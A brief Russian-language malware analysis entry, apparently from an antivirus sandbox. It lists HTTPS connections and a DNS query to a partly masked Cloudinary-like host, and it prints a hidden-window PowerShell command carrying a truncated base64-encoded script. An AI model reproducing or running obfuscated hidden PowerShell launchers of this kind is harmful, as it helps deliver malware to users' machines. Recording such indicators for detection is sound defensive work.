Техническая информация
- 're#.##oudinary.com':443
- 're#.##oudinary.com':443
- DNS ASK re#.##oudinary.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command $recrossed = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQ... (со скрытым окном)